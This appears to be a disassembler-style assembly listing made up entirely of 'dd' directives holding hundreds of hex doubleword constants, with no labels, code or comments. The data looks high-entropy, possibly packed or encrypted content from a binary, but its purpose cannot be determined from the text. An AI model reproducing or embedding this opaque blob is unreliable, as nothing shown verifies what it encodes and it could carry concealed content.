		dd 0F3651AB0h, 0CF5B9600h, 0F09B8A53h, 39EF0036h, 0E8E61560h
		dd 3D07D0FEh, 0D1D5A34Ch, 0F0FA17A0h, 0D62B01E0h, 0B7EEEBE9h
		dd 0F150603Ah, 189DB00Eh, 0E0DC0F0Bh, 1A90B5BFh, 0F68FE244h
		dd 0D23F005Fh, 9429FE8Ah, 6A4CCE7Eh, 2C20300h, 0D8137776h
		dd 0FB1F66Fh, 0B32FCA11h, 730925C1h, 0D39D7036h, 3C07172Ch
		dd 0BF27A17Bh, 69E84FF1h, 1F1BF68Dh, 7602EB8h, 303DA6D2h
		dd 0CAFA8937h, 2FF31900h, 6F791420h, 535633BFh,	83C89AC0h
		dd 73002280h, 4AD7B872h, 0AE33ABh, 4EDC0AFEh, 25A8E727h
		dd 0EF389800h, 3DE4A55Fh, 4F70F53h, 0C240B612h,	0E19584BFh
		dd 31419905h, 588055CEh, 95D1E66h, 1A6B0C74h, 0F070E78Dh
		dd 97019228h, 4A1F48E8h, 4ED07A7Bh, 0D1F10F46h,	10586D9Ah
		dd 0CB40C06Bh, 0E91B0312h, 0E69CBE18h, 6949B188h, 22587C00h
		dd 97CE20BCh, 0F018B8E1h, 7BCA0076h, 0E92A78E6h, 0ED39FE42h
		dd 0E75C803Fh, 1C41F53h, 745000D1h, 49D9EE27h, 0AB03A682h
		dd 0EF5C6566h, 0F810D877h, 3D40BA7Ch, 0EC81F645h, 68DE3D62h
		dd 0FD19837Dh, 0D0D04EABh, 693B0Eh, 22EB4A2Fh, 0D604D890h
		dd 272E9E0Eh, 4B7B215Bh, 3980BFF3h, 0CFF94070h,	0F000F29Bh
		dd 9F461A59h, 0A49388h,	0B3945DDCh, 0B4DD6A31h,	0CE8A3406h
		dd 10C6F8h, 0E5734C46h,	252EA384h, 0F3004578h, 0A290866Dh
		dd 8103F2h, 4E5D34F5h, 0A84FB410h, 4867CB78h, 0B210E028h
		dd 0E3DDCh, 0B9DBA79h, 1B904966h, 881812F0h, 13DE0553h
		dd 26A1308Ch, 814CE61h,	3000A374h, 682AC47h, 3912974h
		dd 0BB23C67Ch, 0A3C8EB02h, 92079CDAh, 0C534B2ECh, 9FDE6360h
		dd 124A2F26h, 5F003176h, 3D5515C4h, 0B0D50016h,	0F96F3031h
		dd 0DB00C298h, 0A10F4353h, 186046A0h, 0B83F7A49h, 5C180477h
		dd 29C9D248h, 2D930138h, 0C2604234h, 411980E9h,	47DF3525h
		dd 15EC01h, 3617DD2Dh, 0A4AB7A91h, 71127476h, 7DA08659h
		dd 0BB65035Bh, 20DED44Ch, 1351C6D0h, 72DD4901h,	0BD5B44D8h
		dd 0D10620BCh, 314FB1EBh, 71C03103h, 0F0C5E974h, 12C13266h
		dd 6F095Eh, 77E1219Bh, 6B004CD8h, 377EA650h, 605DA046h
		dd 0A2C630DFh, 19907270h, 0D04938C8h, 9207A9F1h, 0DEF8ABB8h
		dd 490E509Fh, 89846FBDh, 1CDC3C60h, 0A0196164h,	20940620h
		dd 0C976C209h, 16108787h, 0E7814F7h, 0C01054E6h, 6A44F2AFh
		dd 46C8C3D0h, 882B8C21h, 1C60486Ch, 0C2A33406h,	0A73E26C9h
		dd 4B0C18B4h, 6948A320h, 0A99A2886h, 98D62B98h,	0EBB54060h
		dd 0CCA4075Ah, 10791029h, 8862E101h, 888D77D7h,	1BB85AC6h
		dd 632B02DCh, 0FEA9702h, 988302Ch, 1BC40C51h, 587C7EDCh
		dd 38D3A231h, 308ADF06h, 60480DE9h, 233FDEB4h, 95E6D4A8h
		dd 808CA957h, 8758E3C4h, 154680DEh, 0E1883682h,	400646F0h
		dd 0E10226D4h, 0EDA972CBh, 0F1A88296h, 64B4BEh,	42C10CCAh
		dd 0EEB71061h, 0EDA662Ch, 0EB08CC18h, 864D00BAh, 0AC913D53h
		dd 8800B72Ch, 0FEC0F67Eh, 0C4773A72h, 24540E38h, 9D182Ch
		dd 38C86603h, 3DAEB5FBh, 0F72A8B80h, 0CAC74BD0h, 70206B10h
		dd 6110B63Ch, 0CE0028D2h, 0B4A6F2Bh, 78CCA6F4h,	334B407Ch
		dd 0C618BADCh, 0CB2B1014h, 9F2B028h, 30FC202Ah,	64246E19h
		dd 7C5BC580h, 0D313700Fh, 8E38344Ch, 68B81031h,	88C62E3h
		dd 0A5806941h, 0FE487962h, 48CBCDFh, 9018A626h,	5E2E0082h
		dd 3A8B4B08h, 6B0F090Bh, 0F170355h, 0CB860E31h,	0BCF81086h
		dd 5AAB60C7h, 11CA1858h, 7180B818h, 7866805Dh, 0B05FCB81h
		dd 95937302h, 4E012D80h, 0A841F4E3h, 90980270h,	86AB08BFh
		dd 333C60DFh, 199D08B7h, 60630781h, 0CBE0CBD9h,	84A16AE6h
		dd 36D45119h, 6208C6Eh,	0DDC23056h, 8731810h, 18C6082Bh
		dd 0F030AF6Bh, 0CB08C63Bh, 4B3158D0h, 547361EDh, 6D19AC41h
		dd 55B8088Ch, 0E1C69918h, 4908C1E9h, 0D3500088h, 0C7B5E455h
		dd 81455609h, 0F0470BCEh, 11C7D56Eh, 0EEC19484h, 0EF04472h
		dd 0D08DF8Ch, 0D5284046h, 2C18914Bh, 0B410DA37h, 1D8E063Ch
		dd 21786609h, 2E1958FDh, 28384A52h, 37A47191h, 92441016h
		dd 5B8D05Eh, 0F6912BBEh, 0CFB79A80h, 896600AAh,	0A2B2E299h
		dd 0D90623F5h, 0E0CC91C0h, 0E1BA2070h, 0ED116763h, 46783741h
		dd 3CAD8450h, 0DB313CABh, 0B1002220h, 0EE40FC8Eh, 1947F2CBh
		dd 58EA722Eh, 11118FC8h, 5F8E81F3h, 0DEE041BAh,	9598A1E7h
		dd 1B6E8190h, 0BB1071AEh, 2E081B7Ch, 46F9187Ah,	3B8441D2h
		dd 0AC08984Fh, 87BF4EA0h, 68646D83h, 51F11E02h,	11069DDh
		dd 2F019A3Dh, 0F1710075h, 284153B5h, 82E0E4C0h,	11802984h
		dd 0B8AB5764h, 23A5AE80h, 31817A82h, 6C848FF6h,	31EED87Fh
		dd 84E04CF5h, 0D608884Dh, 107E1833h, 4650BCEEh,	0F0C3CD88h
		dd 1840934Eh, 788AD320h, 84A0B98Ch, 0F0FB9DE3h,	30CC472Ch
		dd 92C3495Ch, 54B65624h, 52E801C1h, 0D1D98C63h,	54EEA8CAh
		dd 93BEC87Ch, 83C6E704h, 0E9148720h, 0C01037F1h, 1B71DCB9h
		dd 10DD0FC9h, 9040F7EAh, 9D642AF4h, 0BA74B47Ah,	1FD7140Eh
		dd 5A58C078h, 0A2C126h,	0AD0F4062h, 0DA604A9h, 0F709CC00h
		dd 21337BC3h, 0F8E09D56h, 8C73744h, 8185A9F8h, 8492438h
		dd 1CD1DC11h, 0AA155700h, 0A5D6C184h, 9F1C8118h, 21D263h
		dd 0DD969E37h, 8483C278h, 1C96A501h, 7A9AC500h,	8DBCE27h
		dd 71E10697h, 8E8A133h,	783B6132h, 6549C41h, 0FD1772BBh
		dd 770140CAh, 0C13350CEh, 81D19756h, 41E198E9h,	1584E0D4h
		dd 64A987A1h, 0B30654A0h, 50A4B233h, 8A1E2D7h, 1C045498h
		dd 1D99EDBDh, 3890B703h, 83F17824h, 26666200h, 3CE868F5h
		dd 0EC4EA35Bh, 0D3730051h, 0B3B4FC01h, 6C860FC9h, 0A22350EEh
		dd 62E89472h, 10CAABD3h, 38582035h, 844F017Dh, 8C85DA5Ah
		dd 0E23088D4h, 0AF07B67h, 5E4076CCh, 0AF5906ACh, 707AA1B0h
		dd 0B2582219h, 0E0EF7C10h, 0C7DB2181h, 41E63C80h, 0E08B5042h
		dd 68C8D702h, 0B931D022h, 6B76D701h, 64CC85D8h,	379E407h
		dd 0C7737A02h, 0E09CEA53h, 0F83BE4E1h, 8F363782h, 1090C658h
		dd 5BF90B7Ah, 98420FA0h, 686F2CEFh, 0A5682BECh,	0BEE5C398h
		dd 34BAF9h, 0CC68ED0Ch,	6108FDF0h, 1A4D53Ch, 68C41C1h
		dd 0A85F3082h, 0F118173Ch, 52CE97Bh, 6F406963h,	665014ADh
		dd 6B15A49Fh, 7E098A5h,	0B7004E06h, 2792D0ADh, 12CF99Ch
		dd 2D047A91h, 0D0058DF1h, 3D666231h, 10085218h,	13FAF71h
		dd 0B10EBB6Eh, 0E1D3C957h, 108C11F4h, 890818E5h, 0F82DB688h
		dd 2C343ED1h, 2BFA110Ch, 2E7C3B18h, 80D3137h, 0E02AAB83h
		dd 0C825EA51h, 1F3AA550h, 5C262605h, 0B10D2F01h, 51D0E134h
		dd 0A1E078ECh, 71F0E3FBh, 18FF6385h, 301BCBB0h,	1981DB27h
		dd 9903150h, 3C619BA7h,	1809E658h, 60D9DE11h, 91E8D82Ch
		dd 58E25A31h, 189BE8B5h, 0BEA37853h, 0B911100Ch, 3C680FDh
		dd 384A7084h, 7AC19B4Bh, 0AD5EF847h, 2AE02C1Dh,	6BF4B0A8h
		dd 0C1AC0850h, 511E3C7Dh, 710A0CFFh, 0D104B832h, 0A10A02C7h
		dd 0DF110CBCh, 526F7108h, 0B7878620h, 0B48D28B8h, 0C7FC2894h
		dd 108432ACh, 0B8818FE8h
		dd 0F02709F1h, 0C66F8591h, 2B093918h, 2FA2D8BBh, 30B31232h
		dd 50A48D9Ah, 7EB12086h, 0D454D8E9h, 0B0A08884h, 80A3F7D1h
		dd 8A30E06Fh, 0F10684B1h, 3350FC13h, 508FB46h, 0C753607Fh
		dd 52CB8Ch, 0D2561A2Ch,	0F7E71892h, 0DF7BA0C0h,	0FAE808C6h
		dd 2208748h, 36ECFD90h,	0F80F0720h, 80F1122Ch, 554053Bh
		dd 318C0D17h, 0FB1CF0B0h, 0EF68D4ACh, 0AEC02C61h, 88E8A9DEh
		dd 1450C6A7h, 30C5D4B4h, 482DAFF1h, 0E45C8AF8h,	0C7F4A0C3h
		dd 0F0F75194h, 710814DBh, 0D118F8B7h, 29EC09C3h, 31912D3Ch
		dd 3F0AB8F0h, 5EFD7201h, 21E03A9Ch, 9C6704FAh, 2C1C830Dh
		dd 40D170DEh, 23AAE09Ch, 0A9836004h, 2D2BE487h,	2C90B170h
		dd 0E4293124h, 4139189h, 709F7088h, 0BEE8031Eh,	277BBFA0h
		dd 31192CECh, 0CF58239Ah, 615D8BAh, 79A024FBh, 0A6FC2DCh
		dd 0B8E94AD9h, 70E6FBF8h, 0E731C46Ch, 0F03010FAh, 44C4CE78h
		dd 9D2307FBh, 6A18C0FDh, 7B24D9F6h, 5A0A04D1h, 1AF0CCFBh
		dd 1D661293h, 0F70049B8h, 0DF714801h, 8E08906Ah, 0F454F138h
		dd 0EC2148AAh, 5108DD30h, 0E492C4B4h, 629AC540h, 0FB58A0DBh
		dd 0A90CE8BCh, 0A9367334h, 78816167h, 201E6C11h, 0C0A93E0Ch
		dd 1408BE5Dh, 12CC1059h, 6C0E1962h, 243EFD82h, 26B824A8h
		dd 5E0C502Ah, 648E88B8h, 0C3A608B4h, 0C08C91A8h, 0C8F27124h
		dd 6D371890h, 2B06B825h, 189B4948h, 304125F0h, 0B085A531h
		dd 0F45FE387h, 0E3253D04h, 89274263h, 76A0417Fh, 30C19427h
		dd 576819F7h, 42DEA2C8h, 10088F06h, 2C664DF1h, 510E784Eh
		dd 308014D8h, 0DFB108B0h, 48D0900Bh, 3116D8CDh,	20784959h
		dd 1292B08Fh, 28D00695h, 577B3006h, 6031D381h, 6491BC04h
		dd 108ADEF2h, 1990CDF3h, 0DE3108EAh, 97F12C60h,	0B9A8CF50h
		dd 0CC2093E3h, 156A7C7Ch, 0F8E70AE4h, 7CCC4974h, 35BA6BF0h
		dd 731E162h, 2BC453Fh, 0C01BD637h, 7DA79481h, 76A08AB5h
		dd 0FFF0B0FAh, 0CB083B3Ah, 0ED31C740h, 0FDBEC0B6h, 0DAE5061Eh
		dd 263918B5h, 93C0267h,	743EE351h, 16C8930Ch, 2487391Ah
		dd 0F31CFC58h, 7CA61B8h, 41491D30h, 3B6EC9C2h, 507C89EDh
		dd 4951F0FAh, 54F04073h, 0B80218C6h, 0A78EA0D2h, 810C48CEh
		dd 900E56B2h, 0B31DC2C7h, 381BD110h, 4371FEC7h,	0BCC07439h
		dd 0CEE4571Ah, 8D6738C7h, 273C0379h, 77081552h,	0FC46240Ah
		dd 0F58DBC1h, 878184D4h, 748655F0h, 0AD6CE849h,	49E88F7Ch
		dd 5D6B464h, 54C10227h,	7C4C8511h, 31B0B0C3h, 9311B391h
		dd 577818FCh, 908194B4h, 0BD142C9Ch, 806924F1h,	7D2774F8h
		dd 0E731C4ACh, 3809F68h, 533E2265h, 73012FBh, 7C701083h
		dd 6782D5F0h, 24D77C20h, 0F82C39A7h, 0CF186759h, 8691E663h
		dd 20238FFBh, 0D327B801h, 4C20FF9Eh, 0C4BB4CA7h, 3E97113h
		dd 10DA91C0h, 24440810h, 6030612Bh, 0CD484021h,	938A0705h
		dd 0D0D289C7h, 81984F42h, 88B803C4h, 678885EBh,	0E404D9A1h
		dd 4DEFC2Dh, 93F3F203h,	383BFEFAh, 41F14087h, 6E41B40h
		dd 62FDD87Ch, 682715A9h, 70431CDBh, 3AC882DEh, 440F01F3h
		dd 0B0C723D0h, 0F8D870FAh, 18DF304Ch, 27ACE771h, 3E560490h
		dd 165FC170h, 711EFFCh,	2B142C0Dh, 0A6607034h, 40112653h
		dd 7DB0A703h, 36567490h, 551BC170h, 3C2CDBCh, 380A3EC7h
		dd 70FF98B1h, 306306D0h, 6771356Fh, 1812459h, 0D6B10884h
		dd 0B7208222h, 8F839CCFh, 19F0D668h, 38D78781h,	783C1451h
		dd 0D20511E6h, 7327183Ch, 6582D138h, 0DF3A08DDh, 9A34060Ch
		dd 0F4796F1Ch, 91F8C2C7h, 0F63CFDE5h, 2BA22E6h,	0E06CE702h
		dd 0B6DB110Dh, 55F80074h, 0FADDF1AFh, 3503E007h, 732A8953h
		dd 78087C6Fh, 0A4A3C95h, 0F6001A40h, 0BBA5232Ch, 6709FFh
		dd 72385DB9h, 0DCD1950Eh, 328048C4h, 0CA083C4Ch, 1471423Ch
		dd 0B0201B0Ah, 2016A74Eh, 0A001D18Ch, 6A899F61h, 12026F03h
		dd 6C281C96h, 0D562ADCEh, 1634038h, 0D16DB1EAh,	2584E8Ah
		dd 1B578FEAh, 266001D4h, 0F9688A99h, 17D0746Eh,	0B092227Ch
		dd 38CA2FE0h, 702390EAh, 0E8C3D240h, 20A9C2E0h,	0C70296C5h
		dd 0A054039Fh, 6C8E7815h, 6568A178h, 818CCDF9h,	4A488CC0h
		dd 2097AA1Eh, 80EE418Eh, 7D731C1Ah, 38A33FB3h, 36619A00h
		dd 7EC1C7CCh, 0D6F22C00h, 3270A277h, 9A21021Ch,	0DA20EC0Bh
		dd 4E041C9Ch, 0DEE6CA82h, 194F1000h, 4262DA21h,	1E1D9A70h
		dd 0E871C81Eh, 0D5303931h, 0E986BA00h, 145A2010h, 0DC1003F1h
		dd 0D080E427h, 13CD88CBh, 0ECE0FAE8h, 0B0174ADh, 0DDC92F4Bh
		dd 1E4FF000h, 740D38CAh, 107864D8h, 10D93558h, 7A191B90h
		dd 940709C3h, 1B9C3B89h, 0E108BF3Ah, 0D098ED93h, 12A80995h
		dd 0E9361AF8h, 8FB03010h, 0B0D18694h, 0EEEAF10Ch, 8AB01866h
		dd 1DEC8170h, 0E876708Ah, 0A6E0F39Ch, 0F9C6B18Bh, 1940D750h
		dd 81B3C9Ah, 3011271h, 0B01BA2FAh, 0A1A0727Ah, 9041CEBDh
		dd 0B05EE873h, 0B74B7604h, 2D7040C5h, 231A1FA5h, 19C0E990h
		dd 40AF7560h, 0F00210D8h, 985A1A14h, 0A90BCE9h,	7824B669h
		dd 0A83082CCh, 2C4119F2h, 0F0DAD0F1h, 9015C4AAh, 0BCA8BA03h
		dd 0D049108Ch, 0C6FA15B7h, 7C722BE8h, 0E31FB460h, 0F0DE4097h
		dd 88B72E3Ch, 0F0E8709Ah, 0EF282F6Dh, 2CA3B234h, 0B82ADFFBh
		dd 0A744D07Bh, 0CC1A50D3h, 1108DF8Bh, 155D12F4h, 1396B806h
		dd 1DA93308h, 1019EE18h, 6FC1A35Ah, 0A1B23424h,	43F67AE4h
		dd 830BE2D0h, 0A31FAF4h, 0CC449A08h, 10EF0CD8h,	14483648h
		dd 0E86E1154h, 39FC7EE0h, 0A04808FFh, 0D06F1AC0h, 0B06EE4C8h
		dd 0B80F3F89h, 0FD17E8Ch, 0B0C211CCh, 705249BAh, 99946D24h
		dd 1ADD9E5h, 9B1AE5Ah, 16D9AE1h, 8BEA2BAh, 98587A24h, 0D7FA0870h
		dd 5E3AD8C6h, 0C905F0F0h, 0C82832E9h, 0D89B1404h, 0F8F2BA1Bh
		dd 0A2118CE1h, 0FA318008h, 743A10CBh, 4DC02427h, 71C963D8h
		dd 0A6F54900h, 506CCB1Eh, 73E61CF9h, 0BA1D10h, 0D044B470h
		dd 0A003B09h, 7F9F0FDh,	18961E1Fh, 41CB9964h, 0CA00B2C6h
		dd 0A0EFD06Ch, 8107F073h, 8F041A30h, 46835EE8h,	18802966h
		dd 8CDBE10h, 7237786Fh,	0AC4449B0h, 3E08C33Ch, 8735C5Fh
		dd 0B0054586h, 6068BB58h, 2023E429h, 26107499h,	9615CBFBh
		dd 0BFA05CBDh, 0D820B9BBh, 0F1460367h, 11906CC5h, 0B5F0A810h
		dd 31E27AF0h, 0E6392C62h, 0B0988259h, 0C70B612h, 9A983ACDh
		dd 420306A9h, 4706CB4h,	0F082BB3h, 0EBD1E0D4h, 41C7C189h
		dd 781CFEA6h, 83D0AF14h, 0B989827Bh, 0E7C6B114h, 0ABF01890h
		dd 627B70B8h, 0E2E110C3h, 8FDD1841h, 5E7B909h, 887C0850h
		dd 8821088Eh, 0AA396618h, 857FC89h, 141AC388h, 15FFAFFh
		dd 41C9A486h, 20E687C0h, 0FCAF3A60h, 0AA6FAF82h, 0CC0F10B2h
		dd 80D478CCh, 9A723990h, 0BE9F3274h, 94BE3AD0h,	5A17E20Ch
		dd 0EC4691E3h, 0DF8CA003h, 3350C5BBh, 15B806B8h, 8224A019h
		dd 410C342Ah, 634328DAh, 0D97D08FFh, 886F831h, 2C20B590h
		dd 90BEE930h, 49DCA1Dh,	78BBF310h, 61B49896h, 0BCE691A9h
		dd 0B6809829h, 40BFF008h, 26633A24h, 19B73288h,	70B9BC08h
		dd 44F4476Ah, 22C9FE7h,	0A3EE2AF6h, 8106016Ah, 0D0A4433Dh
		dd 5B406074h, 8EB6190h,	2B71F30h, 0F0B48365h, 906815A7h
		dd 7AF1F8EAh, 76DDDC91h, 48BFA680h, 4D314002h, 41C71E51h
		dd 92B379ACh, 3C7C6108h, 6B31582h, 0C60C90C0h, 348804F3h
		dd 0E6D048C5h
		dd 3E48C01Ah, 0A81404FCh, 5601BE3h, 0F403DC66h,	15B26750h
		dd 0A0A908A0h, 969A7DE0h, 6286B844h, 0EB30402Ch, 290488BEh
		dd 6D4F7BECh, 79362606h, 0C07CEA56h, 0C1C353Dh,	0EA468069h
		dd 6A8370ADh, 0A024E7Dh, 0DE70E631h, 6CF815ECh,	0C4C30EB1h
		dd 0C916064h, 20881514h, 9C6C870Ch, 5371CC50h, 0E461A671h
		dd 0B6793038h, 2B7CCC41h, 8678098h, 0C2403750h,	31489A91h
		dd 4A28B1FFh, 89088CFEh, 0C19440FDh, 76129008h,	6041E172h
		dd 5231702Ch, 9AF8089Ch, 0F09B8A01h, 0EF4824F0h, 0D0581400h
		dd 0C8483EA8h, 796118C8h, 9080A720h, 0A1D771C4h, 887B384h
		dd 8FD1D8B0h, 0ACA1D49Ch, 0C3100C37h, 4870972Fh, 81D0A957h
		dd 51FBF10Bh, 0BEC6EC50h, 32949012h, 620814D6h,	0C85B003h
		dd 0C37690F8h, 0A957FFE0h, 0A2AD80E4h, 80759851h, 48C43166h
		dd 0C4802430h, 0DFC9A350h, 58CCD960h, 1DE46406h, 1031A898h
		dd 7330087Dh, 0A2C29C47h, 188886E5h, 3A7026D8h,	6FB9F814h
		dd 81C4DC79h, 0D0042886h, 2089F06h, 3E93CF06h, 0A226026Ch
		dd 7D0188A5h, 657FD0A4h, 4639DC62h, 51D004EEh, 0C2F3B094h
		dd 736D2084h, 1365E610h, 4AB61D16h, 0C8077B8h, 3F099D2h
		dd 85E08493h, 44E65351h, 7C9A3175h, 50CE4032h, 81F44F2Eh
		dd 10FCB66h, 0DCA60174h, 62107020h, 8590404Bh, 6B81F84Fh
		dd 60517B4Bh, 410CC601h, 523370F0h, 6F7DFCh, 1A029B81h
		dd 3307667Bh, 7870B5F6h, 8CB048C4h, 4CDC161Dh, 8461F218h
		dd 64E00893h, 449F476Fh, 0B466BC68h, 3240F948h,	9DA18D50h
		dd 72D04C41h, 10D52ECCh, 55093699h, 0A477C195h,	4BA8F2F0h
		dd 26C96662h, 31A4A5EFh, 847A07Ch, 6A328F59h, 0CFC74606h
		dd 9C765798h, 0B759C4C1h, 0E6E188D2h, 31500AB5h, 4129F88Ch
		dd 6B22C510h, 0A898060Ah, 0A685D06Ch, 67411DE2h, 3C34C2D9h
		dd 816CAD3Bh, 0C70E2008h, 1000D75Eh, 31DFCCD9h,	13F2601Ch
		dd 0CD692C6h, 70088664h, 0C0E72532h, 0BF3CEF3Ch, 19833786h
		dd 6618488Fh, 0A738B948h, 480C90C1h, 100DCABEh,	0E208DD0Bh
		dd 25FCF069h, 0D07824B4h, 30B74231h, 0DA02B9A0h, 2B8F14E8h
		dd 0FF195C94h, 8BC4528h, 95F8E026h, 1925EC5Ch, 0E806AC03h
		dd 0E9801818h, 0C4E50E88h, 0C1862308h, 9A84D2E4h, 4110EC08h
		dd 0F8BE996Ch, 0A70A326h, 7CA4BB78h, 1A01B502h,	4148D8CAh
		dd 0D8849818h, 61136D0h, 49C82241h, 351260D8h, 930878BCh
		dd 412012F2h, 0C0E6341Bh, 0DE88C5B0h, 6E530670h, 1639D9A3h
		dd 1E9EF206h, 0E0E0EB70h, 0B35F4B26h, 6FA639C5h, 0DC6807Ch
		dd 0D67DF531h, 34B9DDF0h, 0BC493708h, 4143E05Ch, 8092F8FFh
		dd 84AF3F66h, 8A39B681h, 860193E6h, 30F040B4h, 68ADBC45h
		dd 0D714CF03h, 26A11847h, 419038B6h, 386C1E82h,	9AB17BCBh
		dd 93E24671h, 3AF39h, 19984370h, 80976940h, 900885F2h
		dd 1CC196F7h, 10959BE8h, 68F08442h, 0E261F495h,	0CDAAE669h
		dd 88BE4302h, 5C96E908h, 8B0686FCh, 445738B1h, 2538CF88h
		dd 0F023F101h, 30381787h, 4CA04A5Ah, 610BF88Ch,	24F41C22h
		dd 1570C5C6h, 64E374F0h, 0DD197DF8h, 0C766C4A0h, 452438BAh
		dd 5C1EC8C8h, 48DF8872h, 0C0C60FF4h, 7289AA90h,	7C90C150h
		dd 89CB035h, 0B41EE484h, 51BC3115h, 3ED0E0B5h, 117008C5h
		dd 417DB8D3h, 0C813DC10h, 4511105Ah, 2BEC2299h,	4060BB36h
		dd 48C872C4h, 31409149h, 2B70F897h, 5CCEA827h, 393855EEh
		dd 5080A626h, 81B4AF4Fh, 8DE2041Bh, 0C1460179h,	60288852h
		dd 0C43D9024h, 0C1381008h, 241C3028h, 8C929E50h, 0CFC84857h
		dd 0EE36E4FCh, 87F23C89h, 3E79B0C0h, 3231023Ch,	48DD01CFh
		dd 0E005E905h, 884DA2B0h, 219833h, 787E9990h, 29EC2458h
		dd 4E5098F0h, 0D12818F4h, 0DA660DEh, 0A11098C2h, 0C98BCBDh
		dd 0C2598F58h, 2857C639h, 595C9E8h, 0B045EBEEh,	54925266h
		dd 81AC6F20h, 2D2068F8h, 68860280h, 0B217500Ch,	0DE98F620h
		dd 884464E0h, 0E70899C3h, 4C493896h, 50842A29h,	36242E21h
		dd 20BC1C78h, 4A64827h,	0C2F01013h, 7C7056C4h, 10A06549h
		dd 3526C6F8h, 71C0FBDCh, 0C9C59A89h, 7C6D7746h,	0B8807432h
		dd 1573EA3Fh, 4610F4B0h, 32193D35h, 44C3A0B3h, 28C010D8h
		dd 0C2CECADh, 57FB4803h, 0C8BE3C0h, 15D2E658h, 2A48E250h
		dd 0FF771830h, 0C6CED108h, 20E8D7F0h, 4A81F874h, 0B8D8AC27h
		dd 34A64ACAh, 14370610h, 9324E92Eh, 0B0F406F4h,	507BD097h
		dd 0E718B960h, 2C10729Fh, 0AC47924h, 3AFC80BDh,	906ED3A0h
		dd 0BE526908h, 94F0C4C4h, 0EFA67054h, 50D8C517h, 0FDE4092Ch
		dd 9B7E3C61h, 0E1F8F099h, 988CB7DCh, 6510B00Ah,	16EE09Ah
		dd 0C40586A8h, 0C435A20h, 90101DD0h, 8E6DA32h, 0A57003EFh
		dd 4310C813h, 8C9D7C83h, 9AB8B4C1h, 9C60188Ch, 21C67EE8h
		dd 661081BAh, 0F0283959h, 0D240A3F8h, 2711C41Ch, 510082A1h
		dd 0C8A0286Fh, 8A42BA23h, 4FCB7C6h, 1F2DBEF0h, 0BA5883EDh
		dd 0D01144CEh, 0AB108021h, 639008C4h, 7DEB38D3h, 2684A809h
		dd 74ACA1C2h, 0C51008BEh, 0C49210FFh, 74055D27h, 8EEC4CA2h
		dd 843390F8h, 192ED0D5h, 923B018h, 0A4F1986Eh, 0C3027020h
		dd 0D4F8D0F8h, 374F10E1h, 1000D4C0h, 168855CCh,	0FC49660Ah
		dd 0F881500Ah, 98B59E8Ch, 0F0ECA0F7h, 0B0C54D85h, 5470EC40h
		dd 0C4878C4Fh, 25C10C8h, 85785230h, 0E806A5D8h,	44C99170h
		dd 8066BF2Ch, 48193920h, 3AAC9C54h, 5845FE29h, 0FBD8861Fh
		dd 0D0B04AA8h, 53242008h, 74435680h, 0D2265161h, 871F02FDh
		dd 0AC6AF0F0h, 153D1009h, 2148A424h, 3C468A28h,	45101290h
		dd 2B5590DCh, 5BE411CCh, 9172E6C4h, 89B3BAB4h, 3EDEB98h
		dd 14E98DF4h, 0A89E8B18h, 0A8EF2618h, 68CA8A49h, 971CC4E3h
		dd 0D7CFBC01h, 37D0BD1Ah, 0D084001Fh, 0AD6D7E77h, 163C060Eh
		dd 2B4A0141h, 48B1D63h,	2646C8E4h, 66F7D3Bh, 39054F43h
		dd 0E07F3721h, 0A5E8F45Ah, 25084546h, 6D1CD39Ah, 1AF71BFAh
		dd 9069A448h, 45A0C680h, 0B8CCFEA1h, 53B74021h,	40C44476h
		dd 0E322A4h, 0D0D16765h, 12801757h, 0B200AF46h,	5002F48Fh
		dd 0FF341C55h, 15EF00CBh, 3A8C306Ah, 13DD3C00h,	0EA6FBC98h
		dd 304FE870h, 28087EC9h, 24AE9A44h, 35EF0304h, 0FD60EEFEh
		dd 0BD08C85Ah, 0E81480Fh, 2F839F29h, 0CAC7616Bh, 98217328h
		dd 971D4363h, 11EB487Bh, 58989EF4h, 1FCFA0BFh, 655B8187h
		dd 8CD3C78Dh, 91243D48h, 58EF801Eh, 0E9CF48CCh,	7D038D8Fh
		dd 186096F2h, 81F15D91h, 90AF61D2h, 0FB90F220h,	1568B352h
		dd 0F684D57Dh, 639E2970h, 0E09D881Ch, 70ED7821h, 870889C1h
		dd 825BBD80h, 7E297036h, 0DD801C62h, 0EFBDFF33h, 0C9048B2h
		dd 0AB04212h, 94A40CB1h, 6173848Fh, 0F40F083Fh,	33AFF073h
		dd 0C0628CA5h, 84389A9Eh, 0A306FF1Ch, 2E3308D6h, 0CF65489Bh
		dd 0C9E187CEh, 0BE6E2FC2h, 80764268h, 0BDD9611Dh, 0B4E7318Fh
		dd 0E0CAE3D8h, 0CB6EA5AFh, 6FE0B818h, 68B163FCh, 0D01098F3h
		dd 7F30999Ah, 7ED08F08h, 0E031E0AFh, 3D1C9F78h,	2F805661h
		dd 7888C853h, 1A15C6E5h, 0B8C524A4h, 0C6D811FBh, 795DC465h
		dd 0FD0644Ch, 2F080663h, 39E132F7h, 0F01E471h, 0FB02AD84h
		dd 88DD88Eh, 1CBF1E8h, 0EF011A2Fh, 0D88C27C5h, 8E8B30E8h
		dd 0E00C7D28h, 81A36F32h, 4FB082B1h, 0A4ACA60Bh, 226F3708h
		dd 1C968778h, 70936A68h
		dd 0B60880E8h, 99DE37Ch, 384F7019h, 2F006609h, 8CA0D7C5h
		dd 70CFD19Ch, 0CB08F8E5h, 6E0090BBh, 30861091h,	4B318893h
		dd 0CD470892h, 0B6CF9441h, 0AF7A99D3h, 94489041h, 0C6198420h
		dd 8602FD0h, 2606EF20h,	0B87CDFCFh, 0FC08B0B2h,	0CCFA860Fh
		dd 89C6228h, 6F03128Fh,	4F300C38h, 9020A381h, 880F08C4h
		dd 0BCC28F02h, 19BF5803h, 39A5DE48h, 18889275h,	8E5C44Ch
		dd 68444D0Fh, 0EF089B30h, 28CAAAB6h, 2F0CF898h,	40AF0840h
		dd 4C448F41h, 960F800Ah, 57AF30C6h, 40CEF808h, 0EC92AB70h
		dd 4F11B764h, 845EF06h,	996527EEh, 0E84C0A40h, 0C6A811ACh
		dd 9196BE09h, 8C8AF489h, 8F06F18h, 0CD97E2CFh, 0D1201938h
		dd 1D199091h, 616F8F09h, 0B010B815h, 0BD097AC8h, 0AF0001CDh
		dd 895BAA3h, 0A128D42Ah, 0A863E8E4h, 0CAC680D4h, 3AACFA20h
		dd 889C9718h, 0E0C19D31h, 6139AACEh, 0A1D0D0C5h, 31D17803h
		dd 811097E1h, 0A44407FAh, 29314106h, 3221D240h,	8040C33Eh
		dd 0CABE103h, 0B7090108h, 0B67C9D18h, 893C137h,	0E1069B84h
		dd 0E3311157h, 0A4A320DCh, 8BE06080h, 37575817h, 0CC1D81F4h
		dd 45DFC549h, 0B6483C7h, 4232E7E0h, 0DFB90061h,	41381AF2h
